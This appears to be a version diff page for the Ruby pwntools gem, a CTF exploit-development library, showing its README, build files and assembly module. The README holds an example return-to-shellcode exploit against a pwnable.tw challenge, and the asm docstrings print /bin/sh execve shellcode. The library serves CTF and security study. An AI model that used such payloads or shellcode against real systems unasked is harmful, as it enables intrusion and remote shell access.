pwntools 0.1.0 → 1.2.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (168) hide show
  1. checksums.yaml +5 -5
  2. data/README.md +96 -15
  3. data/Rakefile +8 -2
  4. data/lib/pwn.rb +10 -7
  5. data/lib/pwnlib/abi.rb +61 -0
  6. data/lib/pwnlib/asm.rb +357 -0
  7. data/lib/pwnlib/constants/constant.rb +19 -3
  8. data/lib/pwnlib/constants/constants.rb +46 -20
  9. data/lib/pwnlib/constants/linux/amd64.rb +32 -1
  10. data/lib/pwnlib/constants/linux/i386.rb +2 -0
  11. data/lib/pwnlib/context.rb +128 -27
  12. data/lib/pwnlib/dynelf.rb +122 -54
  13. data/lib/pwnlib/elf/elf.rb +340 -0
  14. data/lib/pwnlib/errors.rb +31 -0
  15. data/lib/pwnlib/ext/array.rb +2 -1
  16. data/lib/pwnlib/ext/helper.rb +6 -5
  17. data/lib/pwnlib/ext/integer.rb +2 -1
  18. data/lib/pwnlib/ext/string.rb +3 -2
  19. data/lib/pwnlib/logger.rb +245 -0
  20. data/lib/pwnlib/memleak.rb +59 -29
  21. data/lib/pwnlib/pwn.rb +27 -9
  22. data/lib/pwnlib/reg_sort.rb +109 -110
  23. data/lib/pwnlib/runner.rb +53 -0
  24. data/lib/pwnlib/shellcraft/generators/amd64/common/common.rb +16 -0
  25. data/lib/pwnlib/shellcraft/generators/amd64/common/infloop.rb +24 -0
  26. data/lib/pwnlib/shellcraft/generators/amd64/common/memcpy.rb +35 -0
  27. data/lib/pwnlib/shellcraft/generators/amd64/common/mov.rb +131 -0
  28. data/lib/pwnlib/shellcraft/generators/amd64/common/nop.rb +18 -0
  29. data/lib/pwnlib/shellcraft/generators/amd64/common/popad.rb +28 -0
  30. data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr.rb +66 -0
  31. data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr_array.rb +24 -0
  32. data/lib/pwnlib/shellcraft/generators/amd64/common/ret.rb +33 -0
  33. data/lib/pwnlib/shellcraft/generators/amd64/common/setregs.rb +24 -0
  34. data/lib/pwnlib/shellcraft/generators/amd64/linux/cat.rb +24 -0
  35. data/lib/pwnlib/shellcraft/generators/amd64/linux/execve.rb +24 -0
  36. data/lib/pwnlib/shellcraft/generators/amd64/linux/exit.rb +24 -0
  37. data/lib/pwnlib/shellcraft/generators/amd64/linux/linux.rb +16 -0
  38. data/lib/pwnlib/shellcraft/generators/amd64/linux/ls.rb +24 -0
  39. data/lib/pwnlib/shellcraft/generators/amd64/linux/open.rb +24 -0
  40. data/lib/pwnlib/shellcraft/generators/amd64/linux/sh.rb +24 -0
  41. data/lib/pwnlib/shellcraft/generators/amd64/linux/sleep.rb +24 -0
  42. data/lib/pwnlib/shellcraft/generators/amd64/linux/syscall.rb +24 -0
  43. data/lib/pwnlib/shellcraft/generators/helper.rb +115 -0
  44. data/lib/pwnlib/shellcraft/generators/i386/common/common.rb +16 -0
  45. data/lib/pwnlib/shellcraft/generators/i386/common/infloop.rb +24 -0
  46. data/lib/pwnlib/shellcraft/generators/i386/common/memcpy.rb +34 -0
  47. data/lib/pwnlib/shellcraft/generators/i386/common/mov.rb +93 -0
  48. data/lib/pwnlib/shellcraft/generators/i386/common/nop.rb +18 -0
  49. data/lib/pwnlib/shellcraft/generators/i386/common/pushstr.rb +41 -0
  50. data/lib/pwnlib/shellcraft/generators/i386/common/pushstr_array.rb +24 -0
  51. data/lib/pwnlib/shellcraft/generators/i386/common/setregs.rb +24 -0
  52. data/lib/pwnlib/shellcraft/generators/i386/linux/cat.rb +24 -0
  53. data/lib/pwnlib/shellcraft/generators/i386/linux/execve.rb +24 -0
  54. data/lib/pwnlib/shellcraft/generators/i386/linux/exit.rb +24 -0
  55. data/lib/pwnlib/shellcraft/generators/i386/linux/linux.rb +16 -0
  56. data/lib/pwnlib/shellcraft/generators/i386/linux/ls.rb +24 -0
  57. data/lib/pwnlib/shellcraft/generators/i386/linux/open.rb +24 -0
  58. data/lib/pwnlib/shellcraft/generators/i386/linux/sh.rb +24 -0
  59. data/lib/pwnlib/shellcraft/generators/i386/linux/sleep.rb +24 -0
  60. data/lib/pwnlib/shellcraft/generators/i386/linux/syscall.rb +24 -0
  61. data/lib/pwnlib/shellcraft/generators/x86/common/common.rb +29 -0
  62. data/lib/pwnlib/shellcraft/generators/x86/common/infloop.rb +24 -0
  63. data/lib/pwnlib/shellcraft/generators/x86/common/memcpy.rb +17 -0
  64. data/lib/pwnlib/shellcraft/generators/x86/common/mov.rb +17 -0
  65. data/lib/pwnlib/shellcraft/generators/x86/common/pushstr.rb +17 -0
  66. data/lib/pwnlib/shellcraft/generators/x86/common/pushstr_array.rb +86 -0
  67. data/lib/pwnlib/shellcraft/generators/x86/common/setregs.rb +84 -0
  68. data/lib/pwnlib/shellcraft/generators/x86/linux/cat.rb +54 -0
  69. data/lib/pwnlib/shellcraft/generators/x86/linux/execve.rb +72 -0
  70. data/lib/pwnlib/shellcraft/generators/x86/linux/exit.rb +34 -0
  71. data/lib/pwnlib/shellcraft/generators/x86/linux/linux.rb +16 -0
  72. data/lib/pwnlib/shellcraft/generators/x86/linux/ls.rb +67 -0
  73. data/lib/pwnlib/shellcraft/generators/x86/linux/open.rb +47 -0
  74. data/lib/pwnlib/shellcraft/generators/x86/linux/sh.rb +53 -0
  75. data/lib/pwnlib/shellcraft/generators/x86/linux/sleep.rb +52 -0
  76. data/lib/pwnlib/shellcraft/generators/x86/linux/syscall.rb +52 -0
  77. data/lib/pwnlib/shellcraft/registers.rb +148 -0
  78. data/lib/pwnlib/shellcraft/shellcraft.rb +73 -0
  79. data/lib/pwnlib/timer.rb +67 -0
  80. data/lib/pwnlib/tubes/buffer.rb +99 -0
  81. data/lib/pwnlib/tubes/process.rb +155 -0
  82. data/lib/pwnlib/tubes/serialtube.rb +114 -0
  83. data/lib/pwnlib/tubes/sock.rb +101 -0
  84. data/lib/pwnlib/tubes/tube.rb +442 -0
  85. data/lib/pwnlib/ui.rb +21 -0
  86. data/lib/pwnlib/util/cyclic.rb +97 -94
  87. data/lib/pwnlib/util/fiddling.rb +288 -220
  88. data/lib/pwnlib/util/getdents.rb +85 -0
  89. data/lib/pwnlib/util/hexdump.rb +116 -112
  90. data/lib/pwnlib/util/lists.rb +58 -0
  91. data/lib/pwnlib/util/packing.rb +223 -228
  92. data/lib/pwnlib/util/ruby.rb +19 -0
  93. data/lib/pwnlib/version.rb +3 -1
  94. data/test/abi_test.rb +22 -0
  95. data/test/asm_test.rb +177 -0
  96. data/test/constants/constant_test.rb +2 -0
  97. data/test/constants/constants_test.rb +5 -2
  98. data/test/context_test.rb +14 -3
  99. data/test/data/assembly/aarch64.s +19 -0
  100. data/test/data/assembly/amd64.s +21 -0
  101. data/test/data/assembly/arm.s +9 -0
  102. data/test/data/assembly/i386.s +21 -0
  103. data/test/data/assembly/mips.s +16 -0
  104. data/test/data/assembly/mips64.s +6 -0
  105. data/test/data/assembly/powerpc.s +18 -0
  106. data/test/data/assembly/powerpc64.s +36 -0
  107. data/test/data/assembly/sparc.s +33 -0
  108. data/test/data/assembly/sparc64.s +5 -0
  109. data/test/data/assembly/thumb.s +37 -0
  110. data/test/data/echo.rb +16 -0
  111. data/test/data/elfs/Makefile +24 -0
  112. data/test/data/elfs/amd64.frelro.elf +0 -0
  113. data/test/data/elfs/amd64.frelro.pie.elf +0 -0
  114. data/test/data/elfs/amd64.nrelro.elf +0 -0
  115. data/test/data/elfs/amd64.prelro.elf +0 -0
  116. data/test/data/elfs/amd64.static.elf +0 -0
  117. data/test/data/elfs/i386.frelro.pie.elf +0 -0
  118. data/test/data/elfs/i386.prelro.elf +0 -0
  119. data/test/data/elfs/source.cpp +19 -0
  120. data/test/data/flag +1 -0
  121. data/test/data/lib32/ld.so.2 +0 -0
  122. data/test/data/lib32/libc.so.6 +0 -0
  123. data/test/data/lib64/ld.so.2 +0 -0
  124. data/test/data/lib64/libc.so.6 +0 -0
  125. data/test/dynelf_test.rb +62 -25
  126. data/test/elf/elf_test.rb +147 -0
  127. data/test/ext_test.rb +4 -2
  128. data/test/files/use_pwn.rb +3 -6
  129. data/test/files/use_pwnlib.rb +2 -1
  130. data/test/full_file_test.rb +6 -0
  131. data/test/logger_test.rb +120 -0
  132. data/test/memleak_test.rb +5 -33
  133. data/test/reg_sort_test.rb +4 -1
  134. data/test/runner_test.rb +32 -0
  135. data/test/shellcraft/infloop_test.rb +27 -0
  136. data/test/shellcraft/linux/cat_test.rb +87 -0
  137. data/test/shellcraft/linux/ls_test.rb +109 -0
  138. data/test/shellcraft/linux/sh_test.rb +120 -0
  139. data/test/shellcraft/linux/sleep_test.rb +68 -0
  140. data/test/shellcraft/linux/syscalls/execve_test.rb +137 -0
  141. data/test/shellcraft/linux/syscalls/exit_test.rb +57 -0
  142. data/test/shellcraft/linux/syscalls/open_test.rb +87 -0
  143. data/test/shellcraft/linux/syscalls/syscall_test.rb +84 -0
  144. data/test/shellcraft/memcpy_test.rb +50 -0
  145. data/test/shellcraft/mov_test.rb +99 -0
  146. data/test/shellcraft/nop_test.rb +27 -0
  147. data/test/shellcraft/popad_test.rb +30 -0
  148. data/test/shellcraft/pushstr_array_test.rb +92 -0
  149. data/test/shellcraft/pushstr_test.rb +109 -0
  150. data/test/shellcraft/registers_test.rb +33 -0
  151. data/test/shellcraft/ret_test.rb +31 -0
  152. data/test/shellcraft/setregs_test.rb +63 -0
  153. data/test/shellcraft/shellcraft_test.rb +30 -0
  154. data/test/test_helper.rb +61 -2
  155. data/test/timer_test.rb +42 -0
  156. data/test/tubes/buffer_test.rb +46 -0
  157. data/test/tubes/process_test.rb +105 -0
  158. data/test/tubes/serialtube_test.rb +162 -0
  159. data/test/tubes/sock_test.rb +68 -0
  160. data/test/tubes/tube_test.rb +320 -0
  161. data/test/ui_test.rb +18 -0
  162. data/test/util/cyclic_test.rb +3 -1
  163. data/test/util/fiddling_test.rb +12 -3
  164. data/test/util/getdents_test.rb +33 -0
  165. data/test/util/hexdump_test.rb +9 -10
  166. data/test/util/lists_test.rb +22 -0
  167. data/test/util/packing_test.rb +5 -3
  168. metadata +357 -37
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
- SHA1:
3
- metadata.gz: 03accad444e614bc79ec41ce5e4340d32058a3e0
4
- data.tar.gz: 827fd60a5aded02428f145da00345acaeb9d42b3
2
+ SHA256:
3
+ metadata.gz: 25176dd168e5b1f2653b2d69198fd1dec741d3314712837697635a290d923e3b
4
+ data.tar.gz: 407ba3df5888aa6e2450b412294403904050009b35fae8e6decebf4ff8d154dd
5
5
  SHA512:
6
- metadata.gz: f13058f95608bfd3444f2c99dde3d62b4d35d59a35ae3aed8b12a12fb016129fd8de2ed339feb0f6a9d36f798244e33970e91fbee94923b40da46bbe8150f082
7
- data.tar.gz: 11ce79df711489bda139e77f9c02002a9e992c03be35dd06af760a2580a0fc3864462a1c292abf99a09a52a45fff1554f4001a65bc99154307821f6817740e88
6
+ metadata.gz: 0f118ad7a0a6aadc067b9cd1d11a9d230190440fdc8749127dc8630d8ce630833d5346527ee73960579a71392938d639d89569b85b27eae562dfbbe7fefddab5
7
+ data.tar.gz: cf5d022ed588bdedcce275f461976d53c4c722119af7315c92241e6588d770ac581c89d63cdda555833d1efbfa43ceb01ea5e763021aeb3c3a452d656327b0d0
data/README.md CHANGED
@@ -1,10 +1,13 @@
1
1
  [![GitHub stars](https://img.shields.io/github/stars/peter50216/pwntools-ruby.svg)](https://github.com/peter50216/pwntools-ruby/stargazers)
2
- [![Dependency Status](https://img.shields.io/gemnasium/peter50216/pwntools-ruby.svg)](https://gemnasium.com/peter50216/pwntools-ruby)
3
- [![Build Status](https://img.shields.io/travis/peter50216/pwntools-ruby.svg)](https://travis-ci.org/peter50216/pwntools-ruby)
4
- [![Test Coverage](https://img.shields.io/codeclimate/coverage/github/peter50216/pwntools-ruby.svg)](https://codeclimate.com/github/peter50216/pwntools-ruby/coverage)
5
- [![Code Climate](https://img.shields.io/codeclimate/github/peter50216/pwntools-ruby.svg)](https://codeclimate.com/github/peter50216/pwntools-ruby)
2
+ [![GitHub issues](https://img.shields.io/github/issues/peter50216/pwntools-ruby.svg)](https://github.com/peter50216/pwntools-ruby/issues)
3
+ [![Build Status](https://github.com/peter50216/pwntools-ruby/workflows/build/badge.svg)](https://github.com/peter50216/pwntools-ruby/actions)
4
+ [![Test Coverage](https://img.shields.io/codeclimate/coverage/peter50216/pwntools-ruby.svg)](https://codeclimate.com/github/peter50216/pwntools-ruby/coverage)
5
+ [![Code Climate](https://img.shields.io/codeclimate/maintainability/peter50216/pwntools-ruby.svg)](https://codeclimate.com/github/peter50216/pwntools-ruby)
6
6
  [![Inline docs](https://inch-ci.org/github/peter50216/pwntools-ruby.svg)](https://inch-ci.org/github/peter50216/pwntools-ruby)
7
7
  [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg)](http://choosealicense.com/licenses/mit/)
8
+ [![Dependabot Status](https://api.dependabot.com/badges/status?host=github&repo=peter50216/pwntools-ruby)](https://dependabot.com)
9
+ [![Rawsec's CyberSecurity Inventory](https://inventory.raw.pm/img/badges/Rawsec-inventoried-FF5050_flat.svg)](https://inventory.raw.pm/)
10
+ <!-- [![Dependency Status](https://img.shields.io/gemnasium/peter50216/pwntools-ruby.svg)](https://gemnasium.com/peter50216/pwntools-ruby) -->
8
11
 
9
12
  # pwntools-ruby
10
13
 
@@ -12,12 +15,12 @@ Always sad when playing CTF that there's nothing equivalent to pwntools in Pytho
12
15
  While pwntools is awesome, I always love Ruby far more than Python...
13
16
  So this is an attempt to create such library.
14
17
 
15
- There's almost NOTHING here now.
16
- (Edit: there's something here now, but not much :wink:)
17
- Going to implement important things (socket, tubes, asm/disasm, pack/unpack utilities) first.
18
18
  Would try to have consistent naming with original pwntools, and do things in Ruby style.
19
19
 
20
20
  # Example Usage
21
+
22
+ Here's an exploitation for `start` which is a challenge on [pwnable.tw](https://pwnable.tw).
23
+
21
24
  ```ruby
22
25
  # encoding: ASCII-8BIT
23
26
  # The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
@@ -25,20 +28,98 @@ Would try to have consistent naming with original pwntools, and do things in Rub
25
28
 
26
29
  require 'pwn'
27
30
 
28
- p pack(0x41424344) # 'DCBA'
29
- context.endian = 'big'
30
- p pack(0x41424344) # 'ABCD'
31
+ context.arch = 'i386'
32
+ context.log_level = :debug
33
+ z = Sock.new 'chall.pwnable.tw', 10000
34
+
35
+ z.recvuntil "Let's start the CTF:"
36
+ z.send p32(0x8048087).rjust(0x18, 'A')
37
+ stk = u32(z.recvuntil "\xff")
38
+ log.info "stack address: #{stk.hex}" # Log stack address
39
+
40
+ # Return to shellcode
41
+ addr = stk + 0x14
42
+ payload = addr.p32.rjust(0x18, 'A') + asm(shellcraft.sh)
43
+ z.write payload
44
+
45
+ # Switch to interactive mode
46
+ z.interact
47
+ ```
48
+
49
+ More features and details can be found in the
50
+ [documentation](http://www.rubydoc.info/github/peter50216/pwntools-ruby/master/frames).
31
51
 
32
- context.local(bits: 16) do
33
- p pack(0x4142) # 'AB'
34
- end
52
+ # Installation
53
+
54
+ ### Install the latest release:
55
+ ```sh
56
+ gem install pwntools
57
+ ```
58
+
59
+ ### Install from master branch:
60
+ ```sh
61
+ git clone https://github.com/peter50216/pwntools-ruby
62
+ cd pwntools-ruby
63
+ bundle install && bundle exec rake install
35
64
  ```
36
65
 
66
+ ### optional
67
+
68
+ Some of the features (assembling/disassembling) require non-Ruby dependencies. Checkout the
69
+ installation guide for
70
+ [keystone-engine](https://github.com/keystone-engine/keystone/tree/master/docs) and
71
+ [capstone-engine](http://www.capstone-engine.org/documentation.html).
72
+
73
+ Or you are able to get running quickly with
74
+
75
+ ```sh
76
+ # Install Capstone
77
+ sudo apt-get install libcapstone3
78
+
79
+ # Compile and install Keystone from source
80
+ sudo apt-get install cmake
81
+ git clone https://github.com/keystone-engine/keystone.git /tmp/keystone
82
+ cd /tmp/keystone
83
+ mkdir build
84
+ cd build
85
+ ../make-share.sh
86
+ sudo make install
87
+ ```
88
+
89
+ # Supported Features
90
+
91
+ ## Architectures
92
+
93
+ - [x] i386
94
+ - [x] amd64
95
+ - [ ] arm
96
+ - [ ] thumb
97
+
98
+ ## Modules
99
+
100
+ - [x] context
101
+ - [x] asm
102
+ - [x] disasm
103
+ - [x] shellcraft
104
+ - [x] elf
105
+ - [x] dynelf
106
+ - [x] logger
107
+ - [x] tube
108
+ - [x] sock
109
+ - [x] process
110
+ - [x] serialtube
111
+ - [ ] fmtstr
112
+ - [x] util
113
+ - [x] pack
114
+ - [x] cyclic
115
+ - [x] fiddling
116
+
37
117
  # Development
38
118
  ```sh
39
- git clone git@github.com:peter50216/pwntools-ruby.git
119
+ git clone https://github.com/peter50216/pwntools-ruby
40
120
  cd pwntools-ruby
41
- rake
121
+ bundle
122
+ bundle exec rake
42
123
  ```
43
124
 
44
125
  # Note to irb users
data/Rakefile CHANGED
@@ -5,10 +5,12 @@ require 'bundler/gem_tasks'
5
5
  require 'rainbow'
6
6
  require 'rake/testtask'
7
7
  require 'rubocop/rake_task'
8
+ require 'yard'
9
+
10
+ import 'tasks/shellcraft/x86.rake'
8
11
 
9
12
  RuboCop::RakeTask.new(:rubocop) do |task|
10
- task.patterns = ['lib/**/*.rb', 'test/**/*.rb']
11
- task.formatters = ['files']
13
+ task.patterns = ['lib/**/*.rb', 'tasks/**/*.rake', 'test/**/*.rb']
12
14
  end
13
15
 
14
16
  task default: %i(install_git_hooks rubocop test)
@@ -18,9 +20,13 @@ Rake::TestTask.new(:test) do |test|
18
20
  test.libs << 'test'
19
21
  test.pattern = 'test/**/*_test.rb'
20
22
  test.verbose = true
23
+ test.options = '--pride'
21
24
  end
22
25
 
26
+ YARD::Rake::YardocTask.new(:doc)
27
+
23
28
  task :install_git_hooks do
29
+ next if ENV['CI']
24
30
  hooks = %w(pre-push)
25
31
  git_hook_dir = Pathname.new('.git/hooks/')
26
32
  hook_dir = Pathname.new('git-hooks/')
data/lib/pwn.rb CHANGED
@@ -1,7 +1,8 @@
1
1
  # encoding: ASCII-8BIT
2
+ # frozen_string_literal: true
2
3
 
3
- # require this file for easy exploit development, but would pollute main Object
4
- # and some built-in objects (String, Integer, ...)
4
+ # require this file for easy exploit development, but would pollute main Object and some built-in objects. (String,
5
+ # Integer, ...)
5
6
 
6
7
  require 'pwnlib/pwn'
7
8
 
@@ -12,13 +13,15 @@ require 'pwnlib/ext/array'
12
13
  extend Pwn
13
14
 
14
15
  include Pwnlib
16
+ include Pwnlib::Tubes
17
+
18
+ # XXX(david942j): include here because module ELF and class ELF have same name..
19
+ include ::Pwnlib::ELF
15
20
 
16
21
  # Small "fix" for irb context problem.
17
- # irb defines main.context for IRB::Context, which overrides our
18
- # Pwnlib::Context :(
19
- # Since our "context" should be more important for someone requiring 'pwn',
20
- # and the IRB::Context can still be accessible from irb_context, we should be
21
- # fine removing context.
22
+ # irb defines main.context for IRB::Context, which overrides our Pwnlib::Context. :(
23
+ # Since our "context" should be more important for someone requiring 'pwn', and the IRB::Context can still be accessible
24
+ # from irb_context, we should be fine removing context.
22
25
  class << self
23
26
  remove_method(:context) if method_defined?(:context)
24
27
  end
data/lib/pwnlib/abi.rb ADDED
@@ -0,0 +1,61 @@
1
+ # encoding: ASCII-8BIT
2
+ # frozen_string_literal: true
3
+
4
+ require 'pwnlib/context'
5
+
6
+ module Pwnlib
7
+ # Encapsulates information about a calling convention.
8
+ module ABI
9
+ # A super class for recording registers and stack's information.
10
+ class ABI
11
+ attr_reader :register_arguments, :arg_alignment, :stack_pointer
12
+ # Only used for x86, to specify the +eax+, +edx+ pair.
13
+ attr_reader :cdq_pair
14
+
15
+ def initialize(regs, align, stack_pointer, cdq_pair: nil)
16
+ @register_arguments = regs
17
+ @arg_alignment = align
18
+ @stack_pointer = stack_pointer
19
+ @cdq_pair = cdq_pair
20
+ end
21
+
22
+ class << self
23
+ def default
24
+ DEFAULT[arch_key]
25
+ end
26
+
27
+ def syscall
28
+ SYSCALL[arch_key]
29
+ end
30
+
31
+ private
32
+
33
+ def arch_key
34
+ [context.bits, context.arch, context.os]
35
+ end
36
+ include ::Pwnlib::Context
37
+ end
38
+ end
39
+
40
+ # The syscall ABI treats the syscall number as the zeroth argument,
41
+ # which must be loaded into the specified register.
42
+ class SyscallABI < ABI
43
+ attr_reader :syscall_str
44
+
45
+ def initialize(regs, align, stack_pointer, syscall_str)
46
+ super(regs, align, stack_pointer)
47
+ @syscall_str = syscall_str
48
+ end
49
+ end
50
+
51
+ DEFAULT = {
52
+ [32, 'i386', 'linux'] => ABI.new([], 4, 'esp', cdq_pair: %w(eax edx)),
53
+ [64, 'amd64', 'linux'] => ABI.new(%w(rdi rsi rdx rcx r8 r9), 8, 'rsp', cdq_pair: %w(rax rdx))
54
+ }.freeze
55
+
56
+ SYSCALL = {
57
+ [32, 'i386', 'linux'] => SyscallABI.new(%w(eax ebx ecx edx esi edi ebp), 4, 'esp', 'int 0x80'),
58
+ [64, 'amd64', 'linux'] => SyscallABI.new(%w(rax rdi rsi rdx r10 r8 r9), 8, 'rsp', 'syscall')
59
+ }.freeze
60
+ end
61
+ end
data/lib/pwnlib/asm.rb ADDED
@@ -0,0 +1,357 @@
1
+ # encoding: ASCII-8BIT
2
+ # frozen_string_literal: true
3
+
4
+ require 'tempfile'
5
+
6
+ require 'elftools'
7
+ require 'keystone_engine/keystone_const'
8
+
9
+ require 'pwnlib/context'
10
+ require 'pwnlib/errors'
11
+ require 'pwnlib/util/ruby'
12
+
13
+ module Pwnlib
14
+ # Convert assembly code to machine code and vice versa.
15
+ # Use two open-source projects +keystone+/+capstone+ to asm/disasm.
16
+ module Asm
17
+ module_function
18
+
19
+ # Default virtaul memory base address of architectures.
20
+ #
21
+ # This address may be different by using different linker.
22
+ DEFAULT_VMA = {
23
+ i386: 0x08048000,
24
+ amd64: 0x400000,
25
+ arm: 0x8000
26
+ }.freeze
27
+
28
+ # Mapping +context.arch+ to +::ELFTools::Constants::EM::EM_*+.
29
+ ARCH_EM = {
30
+ aarch64: 'AARCH64',
31
+ alpha: 'ALPHA',
32
+ amd64: 'X86_64',
33
+ arm: 'ARM',
34
+ cris: 'CRIS',
35
+ i386: '386',
36
+ ia64: 'IA_64',
37
+ m68k: '68K',
38
+ mips64: 'MIPS',
39
+ mips: 'MIPS',
40
+ powerpc64: 'PPC64',
41
+ powerpc: 'PPC',
42
+ s390: 'S390',
43
+ sparc64: 'SPARCV9',
44
+ sparc: 'SPARC'
45
+ }.freeze
46
+
47
+ # Disassembles a bytestring into human readable assembly.
48
+ #
49
+ # {.disasm} depends on another open-source project - capstone, error will be raised if capstone is not intalled.
50
+ # @param [String] data
51
+ # The bytestring.
52
+ # @param [Integer] vma
53
+ # Virtual memory address.
54
+ #
55
+ # @return [String]
56
+ # Disassemble result with nice typesetting.
57
+ #
58
+ # @raise [Pwnlib::Errors::DependencyError]
59
+ # If libcapstone is not installed.
60
+ # @raise [Pwnlib::Errors::UnsupportedArchError]
61
+ # If disassembling of +context.arch+ is not supported.
62
+ #
63
+ # @example
64
+ # context.arch = 'i386'
65
+ # print disasm("\xb8\x5d\x00\x00\x00")
66
+ # # 0: b8 5d 00 00 00 mov eax, 0x5d
67
+ #
68
+ # context.arch = 'amd64'
69
+ # print disasm("\xb8\x17\x00\x00\x00")
70
+ # # 0: b8 17 00 00 00 mov eax, 0x17
71
+ # print disasm("jhH\xb8/bin///sPH\x89\xe71\xd21\xf6j;X\x0f\x05", vma: 0x1000)
72
+ # # 1000: 6a 68 push 0x68
73
+ # # 1002: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f
74
+ # # 100c: 50 push rax
75
+ # # 100d: 48 89 e7 mov rdi, rsp
76
+ # # 1010: 31 d2 xor edx, edx
77
+ # # 1012: 31 f6 xor esi, esi
78
+ # # 1014: 6a 3b push 0x3b
79
+ # # 1016: 58 pop rax
80
+ # # 1017: 0f 05 syscall
81
+ def disasm(data, vma: 0)
82
+ require_message('crabstone', install_crabstone_guide) # will raise error if require fail.
83
+ cs = Crabstone::Disassembler.new(cs_arch, cs_mode)
84
+ insts = cs.disasm(data, vma).map do |ins|
85
+ [ins.address, ins.bytes, ins.mnemonic.to_s, ins.op_str.to_s]
86
+ end
87
+ max_dlen = format('%x', insts.last.first).size + 2
88
+ max_hlen = insts.map { |ins| ins[1].size }.max * 3
89
+ max_ilen = insts.map { |ins| ins[2].size }.max
90
+ insts.reduce('') do |s, ins|
91
+ hex_code = ins[1].map { |c| format('%02x', c) }.join(' ')
92
+ inst = if ins[3].empty?
93
+ ins[2]
94
+ else
95
+ format("%-#{max_ilen}s %s", ins[2], ins[3])
96
+ end
97
+ s + format("%#{max_dlen}x: %-#{max_hlen}s %s\n", ins[0], hex_code, inst)
98
+ end
99
+ end
100
+
101
+ # Convert assembly code to machine code.
102
+ #
103
+ # @param [String] code
104
+ # The assembly code to be converted.
105
+ # @param [Integer] vma
106
+ # Virtual memory address.
107
+ #
108
+ # @return [String]
109
+ # The result.
110
+ #
111
+ # @raise [Pwnlib::Errors::DependencyError]
112
+ # If libkeystone is not installed.
113
+ # @raise [Pwnlib::Errors::UnsupportedArchError]
114
+ # If assembling of +context.arch+ is not supported.
115
+ #
116
+ # @example
117
+ # assembly = shellcraft.amd64.linux.sh
118
+ # context.local(arch: 'amd64') { asm(assembly) }
119
+ # #=> "jhH\xB8/bin///sPj;XH\x89\xE71\xF6\x99\x0F\x05"
120
+ #
121
+ # context.local(arch: 'i386') { asm(shellcraft.sh) }
122
+ # #=> "jhh///sh/binj\vX\x89\xE31\xC9\x99\xCD\x80"
123
+ #
124
+ # @diff
125
+ # Not support +asm('mov eax, SYS_execve')+.
126
+ def asm(code, vma: 0)
127
+ require_message('keystone_engine', install_keystone_guide)
128
+ KeystoneEngine::Ks.new(ks_arch, ks_mode).asm(code, vma)[0]
129
+ end
130
+
131
+ # Builds an ELF file from executable code.
132
+ #
133
+ # @param [String] data
134
+ # Assembled code.
135
+ # @param [Integer?] vma
136
+ # The load address for the ELF file.
137
+ # If +nil+ is given, default address will be used.
138
+ # See {DEFAULT_VMA}.
139
+ # @param [Boolean] to_file
140
+ # Returns ELF content or the path to the ELF file.
141
+ # If +true+ is given, the ELF will be saved into a temp file.
142
+ #
143
+ # @return [String, Object]
144
+ # Without block
145
+ # - If +to_file+ is +false+ (default), returns the content of ELF.
146
+ # - Otherwise, a file is created and the path is returned.
147
+ # With block given, an ELF file will be created and its path will be yielded.
148
+ # This method will return what the block returned, and the ELF file will be removed after the block yielded.
149
+ #
150
+ # @yieldparam [String] path
151
+ # The path to the created ELF file.
152
+ #
153
+ # @yieldreturn [Object]
154
+ # Whatever you want.
155
+ #
156
+ # @raise [::Pwnlib::Errors::UnsupportedArchError]
157
+ # Raised when don't know how to create an ELF under architecture +context.arch+.
158
+ #
159
+ # @diff
160
+ # Unlike pwntools-python uses cross-compiler to compile code into ELF, we create ELFs in pure Ruby
161
+ # implementation. Therefore, we have higher flexibility and less binary dependencies.
162
+ #
163
+ # @example
164
+ # bin = make_elf(asm(shellcraft.sh))
165
+ # bin[0, 4]
166
+ # #=> "\x7FELF"
167
+ # @example
168
+ # path = make_elf(asm(shellcraft.cat('/proc/self/maps')), to_file: true)
169
+ # puts `#{path}`
170
+ # # 08048000-08049000 r-xp 00000000 fd:01 27671233 /tmp/pwn20180129-3411-7klnng.elf
171
+ # # f77c7000-f77c9000 r--p 00000000 00:00 0 [vvar]
172
+ # # f77c9000-f77cb000 r-xp 00000000 00:00 0 [vdso]
173
+ # # ffda6000-ffdc8000 rwxp 00000000 00:00 0 [stack]
174
+ # @example
175
+ # # no need 'to_file' parameter if block is given
176
+ # make_elf(asm(shellcraft.cat('/proc/self/maps'))) do |path|
177
+ # puts `#{path}`
178
+ # # 08048000-08049000 r-xp 00000000 fd:01 27671233 /tmp/pwn20180129-3411-7klnng.elf
179
+ # # f77c7000-f77c9000 r--p 00000000 00:00 0 [vvar]
180
+ # # f77c9000-f77cb000 r-xp 00000000 00:00 0 [vdso]
181
+ # # ffda6000-ffdc8000 rwxp 00000000 00:00 0 [stack]
182
+ # end
183
+ def make_elf(data, vma: nil, to_file: false)
184
+ to_file ||= block_given?
185
+ vma ||= DEFAULT_VMA[context.arch.to_sym]
186
+ vma &= -0x1000
187
+ # ELF header
188
+ # Program headers
189
+ # <data>
190
+ headers = create_elf_headers(vma)
191
+ ehdr = headers[:elf_header]
192
+ phdr = headers[:program_header]
193
+ entry = ehdr.num_bytes + phdr.num_bytes
194
+ ehdr.e_entry = entry + phdr.p_vaddr
195
+ ehdr.e_phoff = ehdr.num_bytes
196
+ phdr.p_filesz = phdr.p_memsz = entry + data.size
197
+ elf = ehdr.to_binary_s + phdr.to_binary_s + data
198
+ return elf unless to_file
199
+
200
+ path = Dir::Tmpname.create(['pwn', '.elf']) do |temp|
201
+ File.open(temp, 'wb', 0o750) { |f| f.write(elf) }
202
+ end
203
+ block_given? ? yield(path).tap { File.unlink(path) } : path
204
+ end
205
+
206
+ ::Pwnlib::Util::Ruby.private_class_method_block do
207
+ def cs_arch
208
+ case context.arch
209
+ when 'aarch64' then Crabstone::ARCH_ARM64
210
+ when 'amd64', 'i386' then Crabstone::ARCH_X86
211
+ when 'arm', 'thumb' then Crabstone::ARCH_ARM
212
+ when 'mips', 'mips64' then Crabstone::ARCH_MIPS
213
+ when 'powerpc64' then Crabstone::ARCH_PPC
214
+ when 'sparc', 'sparc64' then Crabstone::ARCH_SPARC
215
+ else unsupported!("Disasm on architecture #{context.arch.inspect} is not supported yet.")
216
+ end
217
+ end
218
